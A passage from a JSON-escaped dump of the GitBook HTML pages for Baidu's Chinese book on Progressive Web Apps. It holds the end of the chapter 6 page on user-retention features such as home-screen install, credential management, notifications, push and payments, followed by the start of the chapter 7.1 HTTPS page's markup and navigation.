class=\"plugin-anchor\" href=\"#&#x6DFB;&#x52A0;&#x5230;&#x4E3B;&#x5C4F;&#x5E55;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x6DFB;&#x52A0;&#x5230;&#x4E3B;&#x5C4F;&#x5E55;</h2>\n<p>&#x7F51;&#x7AD9;&#x5E94;&#x7528;&#x5411;&#x6765;&#x9700;&#x8981;&#x4F9D;&#x9644;&#x4E8E;&#x6D4F;&#x89C8;&#x5668;&#xFF0C;&#x5728;&#x4E00;&#x822C;&#x60C5;&#x51B5;&#x4E0B;&#xFF0C;&#x7F51;&#x7AD9;&#x9996;&#x5148;&#x9700;&#x8981;&#x6253;&#x5F00;&#x6D4F;&#x89C8;&#x5668;&#xFF0C;&#x7136;&#x540E;&#x8F93;&#x5165;&#x7F51;&#x5740;&#x6216;&#x8005;&#x6253;&#x5F00;&#x4E66;&#x7B7E;&#xFF0C;&#x624D;&#x80FD;&#x591F;&#x8BBF;&#x95EE;&#x5230;&#x7F51;&#x9875;&#x5185;&#x5BB9;&#x3002;&#x8FD9;&#x4E00;&#x6D41;&#x7A0B;&#x76F8;&#x6BD4;&#x8D77;&#x76F4;&#x63A5;&#x5360;&#x9886;&#x4E3B;&#x5C4F;&#x7684;&#x539F;&#x751F;&#x5E94;&#x7528;&#x6765;&#x8BF4;&#x7B80;&#x76F4;&#x662F;&#x7ED5;&#x4E86;&#x4E00;&#x4E2A;&#x5927;&#x5F2F;&#xFF0C;&#x8FD9;&#x4E5F;&#x662F;&#x539F;&#x751F;&#x5E94;&#x7528;&#x76F8;&#x5BF9;&#x4E8E;&#x7F51;&#x7AD9;&#x5E94;&#x7528;&#x66F4;&#x4E3A;&#x65B9;&#x4FBF;&#x7684;&#x539F;&#x56E0;&#x4E4B;&#x4E00;&#x3002;&#x56E0;&#x6B64;&#x7F51;&#x7AD9;&#x5E94;&#x7528;&#x4E5F;&#x8FEB;&#x5207;&#x5730;&#x9700;&#x8981;&#x8FD9;&#x4E00;&#x529F;&#x80FD;&#x3002;PWA &#x65B0;&#x589E;&#x4E86; <code>manifest.json</code> &#x914D;&#x7F6E;&#x6587;&#x4EF6;&#xFF0C;&#x7528;&#x4E8E;&#x5B9A;&#x4E49;&#x6DFB;&#x52A0;&#x5230;&#x684C;&#x9762;&#x7684;&#x56FE;&#x6807;&#x548C;&#x5E94;&#x7528;&#x540D;&#x79F0;&#x3001;&#x6253;&#x5F00;&#x5E94;&#x7528;&#x7684;&#x542F;&#x52A8;&#x52A8;&#x753B;&#xFF0C;&#x5E76;&#x4E14;&#x901A;&#x8FC7;&#x4FEE;&#x6539;&#x663E;&#x793A;&#x7C7B;&#x578B;&#x7684;&#x914D;&#x7F6E;&#x9879;&#xFF0C;&#x53EF;&#x4EE5;&#x9690;&#x85CF;&#x6389;&#x6D4F;&#x89C8;&#x5668;&#x76F8;&#x5173; UI&#xFF08;&#x5982;&#x5BFC;&#x822A;&#x680F;&#x3001;&#x5DE5;&#x5177;&#x680F;&#x7B49;&#x7B49;&#xFF09;&#xFF0C;&#x4F7F;&#x5F97;&#x4ECE;&#x4E3B;&#x5C4F;&#x5E55;&#x76F4;&#x63A5;&#x6253;&#x5F00;&#x7684;&#x7F51;&#x7AD9;&#x5E94;&#x7528;&#x66F4;&#x50CF;&#x539F;&#x751F;&#x5E94;&#x7528;&#x3002;</p>\n<h2 id=\"&#x51ED;&#x8BC1;&#x7BA1;&#x7406;\"><a name=\"&#x51ED;&#x8BC1;&#x7BA1;&#x7406;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x51ED;&#x8BC1;&#x7BA1;&#x7406;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x51ED;&#x8BC1;&#x7BA1;&#x7406;\" class=\"plugin-anchor\" href=\"#&#x51ED;&#x8BC1;&#x7BA1;&#x7406;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x51ED;&#x8BC1;&#x7BA1;&#x7406;</h2>\n<p>&#x63D0;&#x9AD8;&#x7F51;&#x7AD9;&#x5438;&#x5F15;&#x529B;&#x7684;&#x65B9;&#x6CD5;&#x5C11;&#x4E0D;&#x4E86;&#x957F;&#x6548;&#x7684;&#x8D26;&#x53F7;&#x673A;&#x5236;&#x5EFA;&#x7ACB;&#xFF0C;&#x53EA;&#x6709;&#x901A;&#x8FC7;&#x8D26;&#x53F7;&#x673A;&#x5236;&#x624D;&#x80FD;&#x591F;&#x66F4;&#x6709;&#x6548;&#x5730;&#x83B7;&#x53D6;&#x5E76;&#x5206;&#x6790;&#x7528;&#x6237;&#x9700;&#x6C42;&#xFF0C;&#x4ECE;&#x800C;&#x7ED9;&#x4E88;&#x66F4;&#x4E3A;&#x51C6;&#x786E;&#x7684;&#x4E2A;&#x6027;&#x5316;&#x670D;&#x52A1;&#x3002;&#x5728;&#x8FD9;&#x4E2A;&#x65B9;&#x9762;&#xFF0C;PWA &#x65B0;&#x589E;&#x4E86;&#x51ED;&#x8BC1;&#x7BA1;&#x7406; API&#xFF0C;&#x63D0;&#x4F9B;&#x4E86;&#x66F4;&#x4E3A;&#x9AD8;&#x6548;&#x548C;&#x5B89;&#x5168;&#x7684;&#x7528;&#x6237;&#x8EAB;&#x4EFD;&#x51ED;&#x8BC1;&#x5B58;&#x50A8;&#x548C;&#x8BFB;&#x53D6;&#x7684;&#x529F;&#x80FD;&#xFF0C;&#x7528;&#x4EE5;&#x7B80;&#x5316;&#x53CA;&#x4F18;&#x5316;&#x7528;&#x6237;&#x767B;&#x5F55;&#x6D41;&#x7A0B;&#xFF0C;&#x4ECE;&#x800C;&#x63D0;&#x9AD8;&#x7528;&#x6237;&#x767B;&#x5F55;&#x7387;&#x3002;</p>\n<h2 id=\"&#x684C;&#x9762;&#x901A;&#x77E5;\"><a name=\"&#x684C;&#x9762;&#x901A;&#x77E5;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x684C;&#x9762;&#x901A;&#x77E5;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x684C;&#x9762;&#x901A;&#x77E5;\" class=\"plugin-anchor\" href=\"#&#x684C;&#x9762;&#x901A;&#x77E5;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x684C;&#x9762;&#x901A;&#x77E5;</h2>\n<!-- FIXME: 与1.3 离线通知部分第三段重复 -->\n<p>&#x684C;&#x9762;&#x901A;&#x77E5;&#x662F;&#x4E00;&#x79CD;&#x65F6;&#x6548;&#x6027;&#x6700;&#x5F3A;&#x7684;&#x4E0E;&#x7528;&#x6237;&#x6C9F;&#x901A;&#x7684;&#x65B9;&#x5F0F;&#xFF0C;&#x5373;&#x4F7F;&#x5728;&#x5E94;&#x7528;&#x672A;&#x6253;&#x5F00;&#x7684;&#x60C5;&#x51B5;&#x4E0B;&#xFF0C;&#x684C;&#x9762;&#x901A;&#x77E5;&#x4F9D;&#x7136;&#x80FD;&#x591F;&#x5728;&#x8BBE;&#x5907;&#x7684;&#x901A;&#x77E5;&#x680F;&#x663E;&#x793A;&#x63A8;&#x9001;&#x7684;&#x901A;&#x77E5;&#xFF0C;&#x80FD;&#x591F;&#x7ACB;&#x5373;&#x5F15;&#x8D77;&#x7528;&#x6237;&#x7684;&#x6CE8;&#x610F;&#xFF0C;&#x5BF9;&#x4E8E;&#x4E00;&#x4E9B;&#x7A81;&#x53D1;&#x4E8B;&#x4EF6;&#x3001;&#x9650;&#x65F6;&#x6D3B;&#x52A8;&#x3001;&#x91CD;&#x5927;&#x5347;&#x7EA7;&#x7B49;&#x7B49;&#x65F6;&#x6548;&#x6027;&#x8981;&#x6C42;&#x5F88;&#x9AD8;&#x7684;&#x573A;&#x666F;&#xFF0C;&#x684C;&#x9762;&#x901A;&#x77E5;&#x603B;&#x662F;&#x6700;&#x597D;&#x7684;&#x9009;&#x62E9;&#x3002;&#x8FD9;&#x4E5F;&#x662F;&#x8FC7;&#x53BB;&#x539F;&#x751F;&#x5E94;&#x7528;&#x529F;&#x80FD;&#x5F3A;&#x4E8E;&#x7F51;&#x7AD9;&#x5E94;&#x7528;&#x7684;&#x539F;&#x56E0;&#x4E4B;&#x4E00;&#x3002;&#x56E0;&#x6B64; PWA &#x63D0;&#x4F9B;&#x4E86; Notification API&#xFF0C;&#x8865;&#x5168;&#x4E86;&#x8FD9;&#x4E00;&#x529F;&#x80FD;&#x3002;</p>\n<h2 id=\"&#x6D88;&#x606F;&#x63A8;&#x9001;\"><a name=\"&#x6D88;&#x606F;&#x63A8;&#x9001;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x6D88;&#x606F;&#x63A8;&#x9001;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x6D88;&#x606F;&#x63A8;&#x9001;\" class=\"plugin-anchor\" href=\"#&#x6D88;&#x606F;&#x63A8;&#x9001;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x6D88;&#x606F;&#x63A8;&#x9001;</h2>\n<p>&#x6709;&#x4E86;&#x684C;&#x9762;&#x901A;&#x77E5;&#x4F5C;&#x4E3A;&#x6D88;&#x606F;&#x5C55;&#x793A;&#x7684;&#x8F7D;&#x4F53;&#x4E4B;&#x540E;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x8FD8;&#x63D0;&#x4F9B;&#x4E86;&#x4E13;&#x95E8;&#x7684;&#x6D88;&#x606F;&#x63A8;&#x9001;&#x65B9;&#x6CD5;&#xFF0C;&#x4F7F;&#x5F97;&#x7F51;&#x9875;&#x5373;&#x4F7F;&#x5728;&#x672A;&#x6253;&#x5F00;&#x7684;&#x60C5;&#x51B5;&#x4E0B;&#xFF0C;&#x4E5F;&#x80FD;&#x591F;&#x63A5;&#x6536;&#x5230;&#x540E;&#x7AEF;&#x63A8;&#x9001;&#x7684;&#x6D88;&#x606F;&#xFF0C;&#x5E76;&#x4E14;&#x7ED3;&#x5408; Notification API &#x5C31;&#x80FD;&#x591F;&#x505A;&#x5230;&#x79BB;&#x7EBF;&#x7684;&#x6D88;&#x606F;&#x63A8;&#x9001;&#x4E0E;&#x901A;&#x77E5;&#x5C55;&#x73B0;&#x4E86;&#x3002;</p>\n<h2 id=\"&#x652F;&#x4ED8;&#x65B9;&#x6CD5;\"><a name=\"&#x652F;&#x4ED8;&#x65B9;&#x6CD5;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x652F;&#x4ED8;&#x65B9;&#x6CD5;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x652F;&#x4ED8;&#x65B9;&#x6CD5;\" class=\"plugin-anchor\" href=\"#&#x652F;&#x4ED8;&#x65B9;&#x6CD5;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x652F;&#x4ED8;&#x65B9;&#x6CD5;</h2>\n<p>&#x5BF9;&#x4E8E;&#x7528;&#x6237;&#x7559;&#x5B58;&#x6765;&#x8BF4;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x7684;&#x652F;&#x4ED8;&#x529F;&#x80FD;&#x5C31;&#x662F;&#x57F9;&#x517B;&#x7528;&#x6237;&#x4E60;&#x60EF;&#x7684;&#x5229;&#x5668;&#xFF0C;&#x4E00;&#x65E6;&#x7528;&#x6237;&#x4E60;&#x60EF;&#x4E86;&#x5728;&#x6D4F;&#x89C8;&#x5668;&#x4E2D;&#x4F7F;&#x7528;&#x652F;&#x4ED8; API &#x8FDB;&#x884C;&#x8D2D;&#x7269;&#x7B49;&#x6D88;&#x8D39;&#x6D3B;&#x52A8;&#xFF0C;&#x90A3;&#x4E48;&#x7528;&#x6237;&#x7559;&#x5B58;&#x7387;&#x81EA;&#x7136;&#x5C31;&#x63D0;&#x9AD8;&#x4E86;&#x3002;&#x800C;&#x4E14;&#x73B0;&#x4EE3;&#x793E;&#x4F1A;&#x5F88;&#x591A;&#x4EBA;&#x90FD;&#x4F1A;&#x6709;&#x7F51;&#x4E0A;&#x8D2D;&#x7269;&#x7684;&#x9700;&#x6C42;&#xFF0C;&#x63D0;&#x4F9B;&#x7EDF;&#x4E00;&#x65B9;&#x4FBF;&#x4F7F;&#x7528;&#x7684;&#x652F;&#x4ED8;&#x754C;&#x9762;&#x662F; Payment Request API &#x7684;&#x76EE;&#x6807;&#x4E4B;&#x4E00;&#x3002;</p>\n<footer class=\"page-footer-ex\"> <span class=\"page-footer-ex-copyright\"> Copyright &#xA9;2019 <a href=\"https://github.com/lavas-project\" target=\"_blank\">&#x767E;&#x5EA6; Web &#x751F;&#x6001;&#x56E2;&#x961F;</a> <br>   <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\"><img src=\"https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png\" alt=\"&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;\"></a> &#x672C;&#x4E66;&#x91C7;&#x7528; <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\">&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x7F72;&#x540D;-&#x975E;&#x5546;&#x4E1A;&#x6027;&#x4F7F;&#x7528; 4.0 &#x56FD;&#x9645;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;</a> &#x8FDB;&#x884C;&#x8BB8;&#x53EF;&#x3002;<br>    &#x672C;&#x4E66;&#x4ECD;&#x5728;&#x52D8;&#x8BEF;&#x9636;&#x6BB5;&#xFF0C;&#x8BF7;&#x52FF;&#x4EE5;&#x4EFB;&#x4F55;&#x5F62;&#x5F0F;&#x79C1;&#x81EA;&#x4F20;&#x64AD;&#xFF0C;&#x6211;&#x4EEC;&#x4FDD;&#x7559;&#x5BF9;&#x672C;&#x4E66;&#x7684;&#x7248;&#x6743; </span> &#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <span class=\"page-footer-ex-footer-update\"> &#x8BE5;&#x6587;&#x4EF6;&#x4FEE;&#x8BA2;&#x65F6;&#x95F4;&#xFF1A; 2019-06-19 18:37:42 </span> </footer>\n                                \n                                </section>\n                            \n    </div>\n    <div class=\"search-results\">\n        <div class=\"has-results\">\n            \n            <h1 class=\"search-results-title\"><span class='search-results-count'></span> results matching \"<span class='search-query'></span>\"</h1>\n            <ul class=\"search-results-list\"></ul>\n            \n        </div>\n        <div class=\"no-results\">\n            \n            <h1 class=\"search-results-title\">No results matching \"<span class='search-query'></span>\"</h1>\n            \n        </div>\n    </div>\n</div>\n\n                        </div>\n                    </div>\n                \n            </div>\n\n            \n                \n                <a href=\"chapter05/5-workbox.html\" class=\"navigation navigation-prev \" aria-label=\"Previous page: 5.5 使用 Workbox\">\n                    <i class=\"fa fa-angle-left\"></i>\n                </a>\n                \n                \n                <a href=\"chapter06/1-manifest-json.html\" class=\"navigation navigation-next \" aria-label=\"Next page: 6.1 Web 应用清单\">\n                    <i class=\"fa fa-angle-right\"></i>\n                </a>\n                \n            \n        \n    </div>\n\n    <script>\n        var gitbook = gitbook || [];\n        gitbook.push(function() {\n            gitbook.page.hasChanged({\"page\":{\"title\":\"第6章 用户留存\",\"level\":\"1.7\",\"depth\":1,\"next\":{\"title\":\"6.1 Web 应用清单\",\"level\":\"1.7.1\",\"depth\":2,\"path\":\"chapter06/1-manifest-json.md\",\"ref\":\"chapter06/1-manifest-json.md\",\"articles\":[]},\"previous\":{\"title\":\"5.5 使用 Workbox\",\"level\":\"1.6.5\",\"depth\":2,\"path\":\"chapter05/5-workbox.md\",\"ref\":\"chapter05/5-workbox.md\",\"articles\":[]},\"dir\":\"ltr\"},\"config\":{\"plugins\":[\"-lunr\",\"-search\",\"anchors\",\"search-plus\",\"-livereload\",\"simple-page-toc\",\"prism\",\"prism-themes\",\"-highlight\",\"advanced-emoji\",\"include-codeblock\",\"-sharing\",\"sharing-plus\",\"ace\",\"emphasize\",\"splitter\",\"page-footer-ex\",\"expandable-chapters-small\",\"sectionx\",\"local-video\",\"anchor-navigation-ex\",\"favicon\",\"todo\",\"edit-link\",\"3-ba\",\"chart\",\"disqus\",\"github\"],\"root\":\".\",\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"pluginsConfig\":{\"prism\":{\"css\":[\"prismjs/themes/prism-okaidia.css\"]},\"disqus\":{\"useIdentifier\":false,\"shortName\":\"lavas-project-github-io\"},\"emphasize\":{},\"ace\":{},\"github\":{\"url\":\"https://github.com/lavas-project/pwa-book\"},\"simple-page-toc\":{},\"todo\":{},\"page-footer-ex\":{\"copyright\":\"Copyright ©2019 [百度 Web 生态团队](https://github.com/lavas-project) <br/>   [![知识共享许可协议](https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png)](http://creativecommons.org/licenses/by-nc-nd/4.0/) 本书采用 [知识共享署名-非商业性使用 4.0 国际许可协议](http://creativecommons.org/licenses/by-nc-nd/4.0/) 进行许可。<br/>    本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权\",\"markdown\":true,\"update_format\":\"YYYY-MM-DD HH:mm:ss\",\"update_label\":\"该文件修订时间：\"},\"splitter\":{},\"sharing-plus\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\"],\"douban\":false,\"facebook\":true,\"weibo\":false,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":true,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":true,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":false},\"fontsettings\":{\"theme\":\"white\",\"family\":\"sans\",\"size\":2},\"sectionx\":{\"tag\":\"b\"},\"anchor-navigation-ex\":{\"mode\":\"float\",\"pageTop\":{\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false},\"isRewritePageTitle\":false,\"showLevel\":false,\"tocLevel1Icon\":\"fa fa-hand-o-right\",\"tocLevel2Icon\":\"fa fa-hand-o-right\",\"tocLevel3Icon\":\"fa fa-hand-o-right\",\"showGoTop\":true,\"printLog\":false,\"multipleH1\":true,\"associatedWithSummary\":true,\"float\":{\"floatIcon\":\"fa fa-navicon\",\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false}},\"favicon\":{\"shortcut\":\"favicon.ico\",\"bookmark\":\"favicon.ico\"},\"prism-themes\":{},\"3-ba\":{\"configuration\":\"auto\",\"token\":\"c45e843439f6364ead89fd505f1abb68\"},\"expandable-chapters-small\":{},\"local-video\":{},\"advanced-emoji\":{\"embedEmojis\":false},\"include-codeblock\":{\"check\":false,\"edit\":true,\"fixlang\":false,\"lang\":\"\",\"template\":\"ace\",\"theme\":\"chrome\",\"unindent\":true},\"sharing\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"weibo\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\",\"qq\",\"qzone\"],\"douban\":true,\"facebook\":false,\"weibo\":true,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":false,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":false,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":true},\"terminal\":{\"copyButtons\":true,\"fade\":false,\"style\":\"flat\"},\"edit-link\":{\"label\":\"编辑此页\",\"base\":\"https://github.com/lavas-project/pwa-book/edit/master\"},\"theme-default\":{\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"showLevel\":false},\"anchors\":{},\"chart\":{\"type\":\"c3\"},\"search-plus\":{}},\"theme\":\"default\",\"author\":\"lavas <lavas@baidu.com>\",\"pdf\":{\"pageNumbers\":true,\"fontSize\":12,\"fontFamily\":\"Arial\",\"paperSize\":\"a4\",\"chapterMark\":\"pagebreak\",\"pageBreaksBefore\":\"/\",\"margin\":{\"right\":62,\"left\":62,\"top\":56,\"bottom\":56}},\"structure\":{\"langs\":\"LANGS.md\",\"readme\":\"README.md\",\"glossary\":\"GLOSSARY.md\",\"summary\":\"SUMMARY.md\"},\"variables\":{},\"title\":\"PWA 应用实战\",\"language\":\"zh-hans\",\"gitbook\":\"3.2.3\",\"description\":\"PWA 开发实战\"},\"file\":{\"path\":\"chapter06.md\",\"mtime\":\"2019-06-19T10:37:42.260Z\",\"type\":\"markdown\"},\"gitbook\":{\"version\":\"3.2.3\",\"time\":\"2019-06-19T10:40:03.787Z\"},\"basePath\":\".\",\"book\":{\"language\":\"\"}});\n        });\n    </script>\n</div>\n\n        \n    <script src=\"gitbook/gitbook.js\"></script>\n    <script src=\"gitbook/theme.js\"></script>\n    \n        \n        <script src=\"gitbook/gitbook-plugin-search-plus/jquery.mark.min.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-search-plus/search.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-sharing-plus/buttons.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-ace/ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-splitter/splitter.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.js\"></script>\n        \n    \n        \n        <script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-sectionx/sectionx.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-local-video/video.min.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-edit-link/plugin.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-3-ba/plugin.js\"></script>\n        \n    \n        \n        <script src=\"https://cdnjs.cloudflare.com/ajax/libs/URI.js/1.16.1/URI.min.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-disqus/plugin.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-github/plugin.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-fontsettings/fontsettings.js\"></script>\n        \n    \n\n    </body>\n</html>\n\n"
  },
  {
    "path": "docs/chapter07/1-https.html",
    "content": "\n<!DOCTYPE HTML>\n<html lang=\"zh-hans\" >\n    <head>\n        <meta charset=\"UTF-8\">\n        <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">\n        <title>7.1 使用 HTTPS 保护站点安全 · PWA 应用实战</title>\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />\n        <meta name=\"description\" content=\"\">\n        <meta name=\"generator\" content=\"GitBook 3.2.3\">\n        <meta name=\"author\" content=\"lavas <lavas@baidu.com>\">\n        \n        \n    \n    <link rel=\"stylesheet\" href=\"../gitbook/style.css\">\n\n    \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchors/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-search-plus/search.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-prism/prism-okaidia.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-advanced-emoji/emoji-website.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-ace/ace.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-emphasize/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-splitter/splitter.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-page-footer-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-sectionx/sectionx.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-local-video/video-js.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchor-navigation-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-disqus/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-fontsettings/website.css\">\n                \n            \n        \n\n    \n\n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n\n        \n    \n    \n    \n    \n    <meta name=\"HandheldFriendly\" content=\"true\"/>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, user-scalable=no\">\n    <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n    <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black\">\n    <link rel=\"apple-touch-icon-precomposed\" sizes=\"152x152\" href=\"../gitbook/images/apple-touch-icon-precomposed-152.png\">\n    <link rel=\"shortcut icon\" href=\"../gitbook/images/favicon.ico\" type=\"image/x-icon\">\n\n    \n    <link rel=\"next\" href=\"2-CSP.html\" />\n    \n    \n    <link rel=\"prev\" href=\"../chapter07.html\" />\n    \n\n    \n    <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-chart/c3/c3.min.css\">\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/d3.min.js\"></script>\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/c3.min.js\"></script>\n    \n\n    \n        <link rel=\"shortcut icon\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n        <link rel=\"bookmark\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n    \n\n    </head>\n    <body>\n        \n<div class=\"book\">\n    <div class=\"book-summary\">\n        \n            \n<div id=\"book-search-input\" role=\"search\">\n    <input type=\"text\" placeholder=\"输入并搜索\" />\n</div>\n\n            \n                <nav role=\"navigation\">\n                \n\n\n<ul class=\"summary\">\n    \n    \n\n    \n\n    \n        \n        \n    \n        <li class=\"chapter \" data-level=\"1.1\" data-path=\"../\">\n            \n                <a href=\"../\">\n            \n                    \n                    HOME\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2\" data-path=\"../chapter01.html\">\n            \n                <a href=\"../chapter01.html\">\n            \n                    \n                    第1章 PWA 介绍\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.2.1\" data-path=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                <a href=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                    \n                    1.1 为什么会出现 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.2\" data-path=\"../chapter01/2-what-is-pwa.html\">\n            \n                <a href=\"../chapter01/2-what-is-pwa.html\">\n            \n                    \n                    1.2 什么是 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.3\" data-path=\"../chapter01/3-what-are-key-techs.html\">\n            \n                <a href=\"../chapter01/3-what-are-key-techs.html\">\n            \n                    \n                    1.3 PWA 的核心技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.4\" data-path=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                <a href=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                    \n                    1.4 PWA 的发展\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.5\" data-path=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                <a href=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                    \n                    1.5 PWA 的未来\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.6\" data-path=\"../chapter01/6-your-first-pwa.html\">\n            \n                <a href=\"../chapter01/6-your-first-pwa.html\">\n            \n                    \n                    1.6 你的第一个 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3\" data-path=\"../chapter02.html\">\n            \n                <a href=\"../chapter02.html\">\n            \n                    \n                    第2章 设计与体验\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.3.1\" data-path=\"../chapter02/1-what-is-good-ux.html\">\n            \n                <a href=\"../chapter02/1-what-is-good-ux.html\">\n            \n                    \n                    2.1 什么是好的用户体验\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.2\" data-path=\"../chapter02/2-design-and-tech.html\">\n            \n                <a href=\"../chapter02/2-design-and-tech.html\">\n            \n                    \n                    2.2 设计与技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.3\" data-path=\"../chapter02/3-app-shell.html\">\n            \n                <a href=\"../chapter02/3-app-shell.html\">\n            \n                    \n                    2.3 App Shell\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter 